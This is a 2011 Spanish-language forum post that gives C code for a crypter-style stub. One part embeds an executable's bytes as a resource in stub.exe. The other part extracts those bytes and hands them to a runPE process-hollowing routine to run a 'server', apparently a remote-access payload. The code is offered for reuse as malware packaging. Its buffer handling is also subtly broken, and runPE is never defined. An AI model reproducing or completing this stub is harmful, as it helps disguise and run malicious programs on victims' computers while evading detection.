Ejemplo cargar recursos (completo)
Publicado: 13 Ene 2011, 05:09
Bueh nunca ví por aquí un ejemplo completo para cargar los recursos a un exe y luego que este exe extrajera los el recurso y obtuviera los bytes en una variable para posteriormente ejecutarlos con el runPE o hacer lo que se quiera con los bits...
Cliente:
Ahí cargamos los recursos al ejecutable stub.exe, en donde es muy importante en UpdateResource cambiar szBits y dwBits por los bits del archivo ejecutable y su tamaño(peso) y aca los extraemos
stub:
Está claro que le podemos meter unos if's a SizeofResource,LoadResource y LockResource pero bueno yo no lo hize, en fin los bytes quedan almacenados en szArchivo de ahi se puede hacer lo que se guste con ellos como llamar al runpe para que ejecute el server
Jeje ojala sea de utilidad
Cliente:
Código: Seleccionar todo
//... en el main o lugar donde se metan los recursos
HANDLE hRes;
char *szBits="hola";
DWORD dwBits;
dwBits=strlen(szBits);
hRes=BeginUpdateResource("stub.exe",FALSE);
if(hRes!=NULL)
{
if(UpdateResource(hRes,"CUSTOM",MAKEINTRESOURCE(101),MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),szBits,dwBits)!=NULL)
{
EndUpdateResource(hRes,FALSE);
}
}
//...
stub:
Código: Seleccionar todo
char *szArchivo;
DWORD dwTam;
HGLOBAL hGlob;
HANDLE hRes;
hRes=FindResource(NULL,MAKEINTRESOURCE(101),"CUSTOM");
if(hRes!=NULL)
{
dwTam=SizeofResource(NULL,hRes);
hGlob=LoadResource(NULL,hRes);
szArchivo=(char *)malloc(dwTam);
szArchivo=(char *)LockResource(hGlob);
}
Código: Seleccionar todo
//...
szArchivo=(char *)LockResource(hGlob);
runPE(proceso,szArchivo);
}